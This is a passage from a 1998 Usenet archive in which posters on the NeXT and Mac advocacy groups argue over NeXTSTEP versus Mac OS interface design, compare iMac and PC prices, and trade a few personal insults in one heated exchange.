system threw in there but were useless for the application, and etc etc
etc.. I love how every app's Help menu has, like, ten redundant items in
the vein of "About", "help", "info", "credits". This, of course, is the
*first* menu on the chain, not the conventional *last*. Since the first
menu item is the first place the eye goes, how nice that the most
useless menu is there.
Of course putting too many menu items on a vertical menu bar quickly
becomes an eyesore. If I have a huge second-tier menu, and I drag down
to the next second-tier menu, it's almost impossible to get a quick
visual sense of which menu I'm using. It's a question of 25 pixels in
distance, so I've got to squint at the top-level menu bar real hard and
*READ* a menu title to figure out what I'm using and begin to associated
second-level commands with a top-level title.
NeXT's solution? Put everything in a hierarchical format (I wanted to
throw the Cube out the window when I saw OmniWeb's navigation menu) and
make standard menu commands into windowed interfaces. That way, the
human race can just buy 24" monitors and open seventy windows for each
application (a separate font inspector for each app, how nice) and every
time they want to close one they can click on it and hunt for the close
box. Every time they want to move one they can hunt for the title bar.
Mousing heaven!
Since windowing and menu usage are 90% of all my interface reckoning,
and probably 95% of all time spent on interaction, I give NEXTSTEP's
interface a zero by rounding down. The only thing they did right was to
copy the Mac's widgets and widget organization. Worst of all was the
color picker, which gave my a tiny window crammed with totally *useless*
and counter-intuitive widgets. What the hell is that frame all about?
How can I understand which widget has focus? What will the right mouse
button do here? I got so fed up trying to find an appropriate color that
I couldn't do any creative work on the machine whatsoever.
MJP
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <forrestDELETE-THIS!-2706980946000001@term1-18.vta.west.net>
References: <forrestDELETE-THIS!-2606982103030001@term3-12.vta.west.net> <1998062712005000.IAA23945@ladder03.news.aol.com>
Organization: Obsidian Design / Static Dreams Interactive
Date: Sat, 27 Jun 1998 16:51:58 GMT
NNTP-Posting-Date: Sat, 27 Jun 1998 09:51:58 PDT
In article <1998062712005000.IAA23945@ladder03.news.aol.com>,
willadams@aol.com (WillAdams) wrote:
> I'm uncertain as to what you mean by "panes" you don't mean a tiled interface
> with no overlapping, a la Oberon? The NeXT UI is nothing like that.
I mean like the NeXT File Browser (or is it Workspace Manager? Same
difference), where instead of opening a new window for a newly opened
directory it creats a new pane to the right, and you end up scrolling back
and forth across the window to navigate the hierarchy (say, to drag
something from Foo/Bar/Blah/Yadda/Ni/ back down to Foo/). While on MacOS,
each newly opened directory is it's own window, which is defaultly
positioned such that you can still see the title bar of the previous
window, and thereby drag the file into that window (although I think a
good addition to this function would be for the window you're dragging to
to pop to the front, so you could drop into another folder in it).
Although in this example, I would also put a "View By Column" option in
there (By Icon, By List, and By Content would be the other View options),
since I can see that on very large monitors the paned hierarchy could be
usefull.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998062716555900.MAA21207@ladder01.news.aol.com>
Date: 27 Jun 1998 16:55:59 GMT
Organization: AOL http://www.aol.com
References: <35950379.1CA9B26E@nstar.net>
MJP said (in critique of the NeXT UI):
>Use of windows for *everything*. Some of us don't like tear-off menus
>because they become *windows*.
Well, one need not tear off the menus if one doesn't wish--they're always
available with a right mouse button click and a quick wrist motion--I find the
latter very efficient. I agree that it would be nice if one could cut down on
the space taken up by tear-off menus--manipulating them as one would a
spreadsheet cell (i.e. shrinking unneeded entries to invisibility) would be an
improvement.
>Oh, how nice that to change a font I have to open a new
>window. Oh, how nice that it's not really a dialog; clicking "set"
>changes the font, not closing the dialog with "OK"
I like the font panel and that it's distinct between applications, since I
normally want to use one set of fonts in editing text and a different set for
design. Some NeXT applications (WriteNow, others?) do provide access to fonts
in a menu, which I find awkward since I like the font panel's presentation
better. I agree that adding a button for "set this font and close" would be
nice--I just let it fall into the background though.
>I used to start up applications on my Cube and just open all the
>inspectors I could find, just to save time later hunting for the
>appropriate *window* to throw open just to get functionality that
>*should* have been a top-level menu item.
Could you cite a specific application? All of the inspectors which I'm
accustomed to simply alter formatting and such like. I find them compact and
efficient--this may be a matter of poorly designed application interface.
>misc. comments complaining about vertical menus...
(sorry, this is getting kind of long)
For my part, I find it easier to read and find my place in a vertically
oriented list--how many table of contents or indexes are horizontally ordered?
I find it much more awkward to pick out a menu item in a horizontal menu bar,
which are unevenly spaced. Having sub menus pop out with the title even with
the calling top menu is an interesting idea, but cluttered and poorly aligned
to my mind (and the calling menu item name is at the top of the list). Besides,
makes for more efficient mouse movement if you're already at the middle of the
list which is the normal thing.
I've never used OmniWeb, and don't have a color machine so can't comment much
on these. I will note that NeXT's color picker does have a lot of functionality
built-in and does offer access to a lot of color libraries. There was in
interesting article on it in NeXTWorld, which I'll try to dig up.
I find the NeXT very useful for creative work, even to the point of working on
the letterforms for a typeface on it even though I don't have a typeface design
program for it--fortunately it'll be easy to transfer the Virtuoso files into
Freehand to finish things up on my PC.
It seems that this is mostly a matter of personal taste--John and I like
summoning and dismissing (or allowing to fall to the background) interface
elements, while you want everything on-screen (in a toolbar?) which I find
cluttered, awkward and difficult to discern all too often.
I had similar difficulties when I started with my Cube--tried to use it like it
was a Mac or Windows PC--it's not and has its own way of doing things which
takes some getting used to, but which is easily explained with a minimal number
of elements. Once I got the hang of it, I learned to prefer it to the Mac and
Windows interfaces which I was finding inflexible and cluttered.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Sat, 27 Jun 1998 12:28:13 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35952BAD.F35BA1D0@nstar.net>
References: <35950379.1CA9B26E@nstar.net> <1998062716555900.MAA21207@ladder01.news.aol.com>
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WillAdams wrote:
> It seems that this is mostly a matter of personal taste--John and I like
> summoning and dismissing (or allowing to fall to the background) interface
> elements, while you want everything on-screen (in a toolbar?) which I find
> cluttered, awkward and difficult to discern all too often.
What I like is pretty much backward from what you and John like. I like
popups for temporary stuff: menus, dialogs, and tools. I like permanent
windows for permanent stuff: menubars, toolbars, and content. Anything
that doesn't fit this paradigm is either obscuring more permanent stuff
or being obscured by less important stuff. NEXTSTEP makes the menubar
disappearable, but makes tear-off menus permanent windows. Why is this
good design?
I also like a desktop. "Cluttered" is a personal thing; if you keep your
desktop clear, you're not going to have a clutter problem. The desktop
can be handily extended to aid in clearing "clutter". Most people don't
bother; either that or their definition of "clutter" is more forgiving,
and they work just fine with what you might call "clutter". "Clutter",
to me, is using a window for everything, creating artificial separation
between things that should be integrated, and forcing integration
between things that should be distinct. The NEXTSTEP file browser is a
perfect example of this backwardness.
If you can categorize things and group them into a convenient permanent
panel, then you've got organization. The Windows 95 system tray is a
reasonable example of this. But if you simply make every functional
thing into a permanent window with full-size widgets and window frames,
you've reduced every piece of functionality to a single lowest common
denominator. This is *less* organization, not more.
Some people like animating icons on the Dock. I find it ridiculous.
There's a Mac extension called DriveLight or something similar, that
puts a tiny icon in the upper-right corner to notify you of when there
is drive activity, and on what SCSI device the activity is occuring.
NEXTSTEP would have you put a 64x64 icon in your Dock just for the
purpose of having full-color animation of something that needs much less
information presentation. Again, the use of a common denominator.
Someone mentioned that the NEXTSTEP disk format utility icon spins until
it's done; why not give every app the ability to display its status by
right-clicking on the icon or something similar? Devoting non-occluded
screen space to a background task is incredibly poor design.
I thought I was a real pro with windows and organizing clutter until I
used NEXTSTEP. Then I realized how far my particular setups have gone
toward helping me as soon as I was stuck with a system that made no
attempt to help me out.
Why do app icons and document tiles all group together? Wouldn't it be
nice to have document icons and app icons separate? And yet they're all
stuck there, right at the lower left corner of the screen, in no
particular order. Most window icons were too nondescript to identify
themselves, so I had to click through a series of icons to find the
window I wanted, then minimize the rest. Then there was the problem of a
new app that I hadn't yet added to the Dock (or didn't have room for). I
want to maximize that app. Where do I look? I can't remember if it's in
the Dock or on the exact opposite side of the screen.
NEXTSTEP had a lot of good ideas; it seems to me to be a system that
should have been design phase 1. Somewhere along the line, before
version *3.3*, somebody should have organized all those good new ideas
and made a truly effective interface. The whole thing seems vaguely
reminiscent of a graduate thesis project on interface: immature,
untested, and totally experimental. Or maybe a GNU project: fascinated
with the "cool" and the frivolous, totally lacking in real design
guidelines.
My opinion only.
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 27 Jun 1998 10:06:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1BA74A7-1BBBC@206.165.43.101>
References: <see-below-2706980601240001@dynamic5.pm04.mv.best.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
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Matthew Vaughan <see-below@not-my-address.com> said:
>That's only at the default clock rate. If you overclock a Voodoo card (and
>they work fine that way, both Techworks and Diamond cards always work
>reliably at 57MHz+ vs the default 50MHz, and most others do as
>well--mine's always at 60MHz with no problems, and a large proportion of
>3Dfx owners do this also) you can get significant extra performance,
>particularly on a faster computer.
Hardly a viable solution for an iMac-class machine, I think.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Nicolas Krinis <ndk@NOSPAMnbnet.nb.ca>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: macs = beta, wintels = vhs
Date: Sat, 27 Jun 1998 15:03:26 -0400
Organization: NBTel Internet
Message-ID: <359541F3.ACD79539@NOSPAMnbnet.nb.ca>
References: <macghod-2506980011070001@sdn-ar-001casbarp024.dialsprint.net>
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Steve Sullivan wrote:
>
> I had a doctors appointment yesterday. The doctor said he didnt know much
> about computers, hasnt been on the net yet, but is thinking about getting
> a internet account. I asked him what computer he has, he said a compaq
> (aka a comptrash, from what I hear they are slower than comparable p2's).
>
> I told him if he is a newby, he probably would of been better served with
> a mac. He then made the assertation which is the subject of this post.
> He said he bought a beta, and it became obsolete and he couldnt buy any
> movies for it (everything is now in vhs), and he doesnt want that to
> happen to his computer (of course this is *GUARENTEED* to happen to any
> computer you buy, pc or mac. Computers advance so quickly eventually ANY
> computer will be obsolete)
>
> --
> So many pedestrians, so little time.
I agree with you 100%.
I believe this argument to be beaten to death. Beta is dead. The Mac is not.
Case closed, no comparison whatsoever.
This is the kind of uni-dimensionnal thinking that I've come to expect from
most Doctors of medicine. I'm sure he made this assumption with one hand on
the knob of his door, the other hand writing out a prescription for
antibiotics, while he was making his differential diagnosis. Tsi-tsing.....
Nicolas Krinis
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Sat, 27 Jun 1998 13:14:34 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3595368A.CA0E6322@nstar.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <tLVk1.3$Oe1.54453@proxye1.san.rr.com> <359434A2.8C1C371@nstar.net> <vhXk1.12$Oe1.111450@proxye1.san.rr.com>
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NNTP-Posting-Date: 27 Jun 1998 18:19:51 GMT
Ed Deans. wrote:
> I'm talking about a collect change in approach. The Mac is heavily
> application centric while trying to offer an object-oriented facade (Finder)
> lacking real object plumbing behind that facade. NEXTSTEP, to me anyway, is
> heavily application centric, drops the object-oriented facade (Finder) but
> has object-oriented plumbing.
No, it's heavily window-centric, but still borrows application-centric
ideas. The result is a horrible hybrid, *especially* given that there's
no attempt to organize the system in an object-oriented fashion. It
creates an unorganized system *without* any convenient central access
ideas, and ends up creating more work for the user.
> OS/2, as you're familiar with it, attempts to
> have the object-oriented facade and object-oriented plumbing while
> supporting the heritage of application centric predecessors. To me these
> require shifts in thinking (what I'm defining as a paradigm shift in this
> context) in order to most appreciate and to use to greatest effect.
How about just using the system based on universally-observer
principles? How about recognizing that these principles automate and
obviate a significant amount of work? NEXTSTEP seems to totally lack
these principles. It preserves the idea of a "current application"
without any of the auxiliary benefits inherent to MacOS, yet it throws
in a massive helping of "windows all over the place" without integrating
the two. At times I've thought that I had killed an application, only to
find that I had failed to chase down the last damned window, hiding
timidly behind something else. At times I've changed a font in an
inspector only to realize I'd grabbed the *wrong* app's font inspector.
Most of the time I never bothered with the "file management in a window"
thing; I reverted to CLI file management to save time and spit; this
unhappy circumstance is a bad sign, indeed. At this last, I think that a
lot of the anti-Mac objections can be levelled with greater force: those
who disparage GUI file management would just love the NEXTSTEP way of
creating extra work by requiring multiple browsers, the use of a shelf,
an explicit (hierarchical) menu item to change the view type, and other
wonderful intricacies.
NEXTSTEP had some great advantages over MacOS 6; unfortunately, NIH
seems to have hit NeXT particularly hard with the introduction of System
7, from which NeXT apparently learned nothing.
MJP
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net>
Subject: Re: Mac OS X UI
Message-ID: <Dvbl1.1183$Oe1.677423@proxye1.san.rr.com>
Date: Sat, 27 Jun 1998 19:13:39 GMT
NNTP-Posting-Date: Sat, 27 Jun 1998 12:13:39 PDT
Organization: TWC Road Runner, San Diego, CA
How about some consistency in drag/drop feedback?
Under early versions of System 7.x drag drop gives this feedback in these
situations:
- select and drag text gives you a rectangular dotted outline
- drag a window to move it gives you a dotted outline of the window
- drag an icon (or series of icons) in the Finder to move them gives you a
dotted outline of the icons and their label's rectangle
Currently, Mac OS 8.x gives you this feedback:
- select and drag text gives you a rectangular dotted outline (AFAIK)
- drag a window to move it give you a filled-in window--a live drag of the
actual window
- drag an icon (or series of icons) in the Finder to move them gives you a
translucent set of icon ghosts
In all of these cases a user is intending the same operation on the drag
source. During the drag where we once had single, unified feedback we now
have at least two different kinds of feedback.
Apple's progressing backward.
Why didn't they proceed to using translucent drag in all situation if that
was their preferred feedback representation?
In my opinion, the object being dragged ought to be solid if it's being
moved and translucent if it's being copied.
--Ed.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 27 Jun 1998 19:10:58 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6n3g42$1nf$1@ndnws01.ne.highway1.com>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
> John Kheit wrote:
> > I'm sure the idea that the world wasn't flat sounded shakey to
> > others with closed minds about how things must work.
> Oh, ok. Discovering that you couldn't evaluate NEXTSTEP among
> other choices and projecting it onto others as normative is like
> discovering that the world is round. Quit while you're ahead,
> John.
Why, when I can keep expanding the gap? It is normative, and I
feel no reason or need to educate you as to why. I'm not going to
back it up with further points outside myself because I don't think
you're deserving of the knowledge. Again, your ignorance is ample
punishment.
> > I'm sure it sounded stupid too. On the other hand, I really
> > am happy you feel differently. I hope you're secure in how
> > right you are, condeming you to that ignorance seems proper
> > punishment for your asinine and trite attempts to wit. At this
> > point, through your rudeness, it's rewarding to see you come
> > up one stick short at every attempt.
> Ease up, there, tiger. You've got to make a *case* for something
> before you can start crowing about your victory.
Why should I when you make the case clear for all to see? I
need show nothing. You demonstrate your stuborn assuredness, small
minded, and rude behavior more aptly than any of my descriptions
could ever provide. In the end, I just watch you post, and each
and every post works to kill your credibility. It's easy work.
> > > I'll leave that for others to judge for themselves. I know
> > > what I think. It doesn't bother me if you think differently.
> >
> > You're on the right track. Clearly you won't come up with
> > anything of merit through your own enterprise.
> Clearly. Since the subject of this thread seems to be laughter,
> and I've never had much of a mind for self-parody, I take you to
> be an author worth repeating.
No, the thread is about you being a hack, un original, ignornant,
and meek little boy. One that just needs to be a wittle cutesy
wootsey. But your ignorance runs as deep as your insecurity and
inadequacy. Something I plan on and enjoy pointing out.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac competition
Date: Sat, 27 Jun 1998 12:36:10 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-2706981236100001@1cust103.tnt1.santa-barbara.ca.da.uu.net>
References: <358bbd30.0@news.together.net> <358fd4e2.9092755@news.newsguy.com> <358c05f7.0@news.together.net> <MPG.ff5e7d67a07e7f59898a4@news.supernews.com> <joe.ragosta-2006981856170001@elk34.dol.net> <358c406d.0@news.together.net> <joe.ragosta-2006981923020001@elk34.dol.net> <358c86fa.0@news.together.net> <1day7gq.di8n1bbucw3bN@pppsl635.chicagonet.net> <358d43f9.0@news.together.net> <1daztnk.je9zdipn0g3sN@pppsl564.chicagonet.net> <358ecc2b.0@news.together.net> <19980622215618355328@ts4-29.aug.com> <358f2022.0@news.together.net> <trev-2306980030490001@nas-p9.usc.net> <358ff412.0@news.together.net> <joe.ragosta-2306981524320001@wil64.dol.net> <christian.bau-2406981053170001@christian-mac.isltd.insignia.com> <MPG.ffc027c97a962859898fa@news.supernews.com> <christian.bau-2506981717250001@christian-mac.isltd.insignia.com> <MPG.ffdf340b6f37cc989913@news.supernews.com> <6n1k2r$7ab@bgtnsc01.worldnet.att.net> <MPG.ffec649eff93973989918@news.supernews.com>
Here is something for Donald's challenge:
From EZ COMPUTERS, 1 888 928 2326
p2 300
64 megs sdram memory
6.4 ultra dma hard drive
32 x cd
56k voice modem
intel 740I chipset video w/ 8 mb sdram (8 megs video ram)
ramaha 3d sound card w/wave table
180 watt stereo speakers
15 inch .28mm Voxon Monitor
Comes with a much need windows 98 training video (and windows 98) for free
Price is $1149, if you want a p2 333 instead with same config its $1249
Pros:
it has 64 megs of ram instead of imacs 32 megs
it has 6.4 hd rather than imacs 4 gig
it has 56 k modem rather than imacs 33.6
it has 8 megs of video memory instead of the imacs (2 or 4??) BUT I dont
know how good this video card is, it may not be as good as the imacs rage
pro (or maybe rage II)
has 180 watt external stereo speakers while imac has no external speakers
(nor would I call the macs internal speakers "stereo", and yes I have
heard the speakers that come with low end pc's, and I sure as hell wish I
could have some for my g3!!
Is $150 cheaper than the imac, and will be even cheaper by the time the
imac comes out
has a floppy drive :P
Cons
Does not have imacs cool new all in one format (by new I mean better than
the old clunky all in one format, like the g3 all in one has)
Does not have as much software as imac will have
While reading the paper, I also noticed another great deal.
Unitex computers in southern california (310 820 2400). G3 233 standard
config desktop for $1699. At first I was irritated ("all these f@#$@#s
with macs at standard map!!") but then saw big letters next to it. The
price INCLUDES a apple 1710 monitor. Didnt say if it was new or refurb.
THats worth about $500.
--
So many pedestrians, so little time.
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Sat, 27 Jun 1998 14:40:27 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35954AAB.245F1371@nstar.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <Dvbl1.1183$Oe1.677423@proxye1.san.rr.com>
Mime-Version: 1.0
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NNTP-Posting-Date: 27 Jun 1998 19:45:41 GMT
Ed Deans. wrote:
>
> How about some consistency in drag/drop feedback?
No kidding.
[description of MacOS DnD inconsistency snipped]
> In all of these cases a user is intending the same operation on the drag
> source. During the drag where we once had single, unified feedback we now
> have at least two different kinds of feedback.
NEXTSTEP's drag-and-drop is superb. MacOS's drag-and-drop has many
serious problems. I won't argue this point.
> Apple's progressing backward.
On this issue, and on many others. That's a testament to the quality of
the original design, as well as a sad commentary on how things have
slipped.
> Why didn't they proceed to using translucent drag in all situation if that
> was their preferred feedback representation?
>
> In my opinion, the object being dragged ought to be solid if it's being
> moved and translucent if it's being copied.
You're right.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Sat, 27 Jun 1998 14:43:17 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35954B55.A357F1AD@nstar.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 27 Jun 1998 19:48:31 GMT
John Kheit wrote:
[self-congratulation snipped]
Ignorance is my punishment? You should be so ignorant.
> Why should I when you make the case clear for all to see? I
> need show nothing. You demonstrate your stuborn assuredness, small
> minded, and rude behavior more aptly than any of my descriptions
> could ever provide. In the end, I just watch you post, and each
> and every post works to kill your credibility. It's easy work.
It's ironic that you should say that, John Kheit.
> > Clearly. Since the subject of this thread seems to be laughter,
> > and I've never had much of a mind for self-parody, I take you to
> > be an author worth repeating.
>
> No, the thread is about you being a hack, un original, ignornant,
> and meek little boy. One that just needs to be a wittle cutesy
> wootsey. But your ignorance runs as deep as your insecurity and
> inadequacy. Something I plan on and enjoy pointing out.
So, when's it coming? I'm waiting with bated breath...
MJP
From: pxpst2@spam.suxs.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Sat, 27 Jun 1998 15:57:37 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-2706981557370001@pelli.pathology.pitt.edu>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <358B2EA3.58A5FA0F@spamtoNull.com> <slrn6or9ib.h0d.sal@panix3.panix.com> <358E87AC.E71448B3@spamtoNull.com> <slrn6ota05.mvv.sal@panix3.panix.com> <3590743F.F7B9CE6D@spamtoNull.com> <joe.ragosta-2406980840300001@0.0.0.0> <3591D5A7.3FE3846B@spamtoNull.com> <joe.ragosta-2506980730170001@elk69.dol.net> <6mtubu$9o9$2@news.spacelab.net> <id_est-2506981413110001@192.168.1.3> <3592949A.DAD81954@nstar.net>
Mail-Copies-To: pxpst2@spam.suxs.unixs.cis.pitt.edu
In article <3592949A.DAD81954@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
=> Yeah, this is true. It's like that stuff you do in chemistry where you
> make conversions by multiplying fractions and cancelling out. Does
> anyone remember what that's called? My chem teacher had a cute name for
> it.
>
Michal
The term you are looking for is THE FACTOR LABEL METHOD. and it works
great in Physics too
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Sat, 27 Jun 1998 14:49:15 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35954CBB.E7B7DBC1@nstar.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <358B2EA3.58A5FA0F@spamtoNull.com> <slrn6or9ib.h0d.sal@panix3.panix.com> <358E87AC.E71448B3@spamtoNull.com> <slrn6ota05.mvv.sal@panix3.panix.com> <3590743F.F7B9CE6D@spamtoNull.com> <joe.ragosta-2406980840300001@0.0.0.0> <3591D5A7.3FE3846B@spamtoNull.com> <joe.ragosta-2506980730170001@elk69.dol.net> <6mtubu$9o9$2@news.spacelab.net> <id_est-2506981413110001@192.168.1.3> <3592949A.DAD81954@nstar.net> <pxpst2-2706981557370001@pelli.pathology.pitt.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 27 Jun 1998 19:54:29 GMT
Peter wrote:
>
> In article <3592949A.DAD81954@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
>
> => Yeah, this is true. It's like that stuff you do in chemistry where you
> > make conversions by multiplying fractions and cancelling out. Does
> > anyone remember what that's called? My chem teacher had a cute name for
> > it.
> >
> Michal
>
> The term you are looking for is THE FACTOR LABEL METHOD. and it works
> great in Physics too
>
> Peter
Thank you. It's all coming back to me now...
:-)
MJP
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <tLVk1.3$Oe1.54453@proxye1.san.rr.com> <359434A2.8C1C371@nstar.net> <vhXk1.12$Oe1.111450@proxye1.san.rr.com> <3595368A.CA0E6322@nstar.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35955417.0@nnrp1.news.uk.psi.net>
Date: 27 Jun 98 20:20:39 GMT
Michael Peck <mjpeck@nstar.net> wrote:
>Ed Deans. wrote:
>
>> I'm talking about a collect change in approach. The Mac is heavily
>> application centric while trying to offer an object-oriented facade (Finder)
>> lacking real object plumbing behind that facade. NEXTSTEP, to me anyway, is
>> heavily application centric, drops the object-oriented facade (Finder) but
>> has object-oriented plumbing.
>
>No, it's heavily window-centric, but still borrows application-centric
>ideas. The result is a horrible hybrid, *especially* given that there's
>no attempt to organize the system in an object-oriented fashion. It
>creates an unorganized system *without* any convenient central access
>ideas, and ends up creating more work for the user.
I have to say that that as far as I'm concerned, that's total nonsense -
(ie. it may be your opinion, but it's certainly not mine, nor that of anyone else
I know who has used NeXTstep)
When you use phrases like 'window-centric', 'application-centric', and 'object-oriented'
it sounds as though you are talking facts, when what you are actually talking about is
just your personal likes and dislikes.
1. window centric - Less so than X/MS windows in that (like MacOS) it doesn't attach
menus and lot's of other controls to windows. Less so than the MacOS in that it doesn't
promote/encourage use of as many windows.
2. application centric - The NEXT GUI makes it easier to hide/find an application as a
whole than other systems, I'm not sure what else you could say for/against it being
application centred compared to other GUIs.
